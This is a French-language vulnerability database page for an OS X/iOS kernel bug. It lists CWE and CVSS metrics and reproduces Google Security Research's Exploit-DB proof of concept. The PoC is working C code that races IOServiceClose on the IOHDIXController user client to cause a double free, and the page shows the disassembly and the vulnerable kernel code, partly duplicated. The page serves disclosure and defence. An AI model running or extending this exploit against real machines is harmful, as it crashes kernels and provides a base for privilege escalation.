Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
6.9 |
|
AV:L/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 39365
Date de publication : 2016-01-27 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=599
OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose
Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:
__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:0000000000005B38 ; DATA XREF: __const:000000000000F820o
__text:0000000000005B38 push rbp
__text:0000000000005B39 mov rbp, rsp
__text:0000000000005B3C push rbx
__text:0000000000005B3D push rax
__text:0000000000005B3E mov rbx, rdi
__text:0000000000005B41 mov rax, [rbx]
__text:0000000000005B44 xor esi, esi
__text:0000000000005B46 call qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:0000000000005B4C mov qword ptr [rbx+208h], 0
__text:0000000000005B57 mov qword ptr [rbx+1F8h], 0
__text:0000000000005B62 mov rdi, [rbx+200h] ; <-- this+0x200 --+
__text:0000000000005B69 call _vfs_context_rele ; pass to vfs_context_rele +- should be locked!
__text:0000000000005B6E mov qword ptr [rbx+200h], 0 ; NULL out this+0x200 --+
__text:0000000000005B79 xor eax, eax
__text:0000000000005B7B add rsp, 8
__text:0000000000005B7F pop rbx
__text:0000000000005B80 pop rbp
__text:0000000000005B81 retn
At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:
int
vfs_context_rele(vfs_context_t ctx)
{
if (ctx) {
if (IS_VALID_CRED(ctx->vc_ucred))
kauth_cred_unref(&ctx->vc_ucred);
kfree(ctx, sizeof(struct vfs_context));
}
return(0);
}
This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;
Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.
This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop.
Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2
*/
// ianbeer
// clang -o ioparallel_closehdix ioparallel_closehdix.c -lpthread -framework IOKit
/*
OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose
Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:
__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:0000000000005B38 ; DATA XREF: __const:000000000000F820o
__text:0000000000005B38 push rbp
__text:0000000000005B39 mov rbp, rsp
__text:0000000000005B3C push rbx
__text:0000000000005B3D push rax
__text:0000000000005B3E mov rbx, rdi
__text:0000000000005B41 mov rax, [rbx]
__text:0000000000005B44 xor esi, esi
__text:0000000000005B46 call qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:0000000000005B4C mov qword ptr [rbx+208h], 0
__text:0000000000005B57 mov qword ptr [rbx+1F8h], 0
__text:0000000000005B62 mov rdi, [rbx+200h] ; <-- this+0x200 --+
__text:0000000000005B69 call _vfs_context_rele ; pass to vfs_context_rele +- should be locked!
__text:0000000000005B6E mov qword ptr [rbx+200h], 0 ; NULL out this+0x200 --+
__text:0000000000005B79 xor eax, eax
__text:0000000000005B7B add rsp, 8
__text:0000000000005B7F pop rbx
__text:0000000000005B80 pop rbp
__text:0000000000005B81 retn
At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:
int
vfs_context_rele(vfs_context_t ctx)
{
if (ctx) {
if (IS_VALID_CRED(ctx->vc_ucred))
kauth_cred_unref(&ctx->vc_ucred);
kfree(ctx, sizeof(struct vfs_context));
}
return(0);
}
This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;
Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.
This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop.
Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2
repro: while true; do ./ioparallel_closehdix; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
void close_it(io_connect_t conn) {
IOServiceClose(conn);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
close_it(*(io_connect_t*)arg);
}
int main(int argc, char** argv) {
char* service_name = "IOHDIXController";
int client_type = 0;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
pthread_t t;
io_connect_t arg = conn;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
usleep(100000);
start = 1;
close_it(conn);
pthread_join(t, NULL);
return 0;
}
Products Mentioned
Configuraton 0
Apple>>Mac_os_x >> Version To (including) 10.11.1
Configuraton 0
Apple>>Iphone_os >> Version To (including) 9.1
Références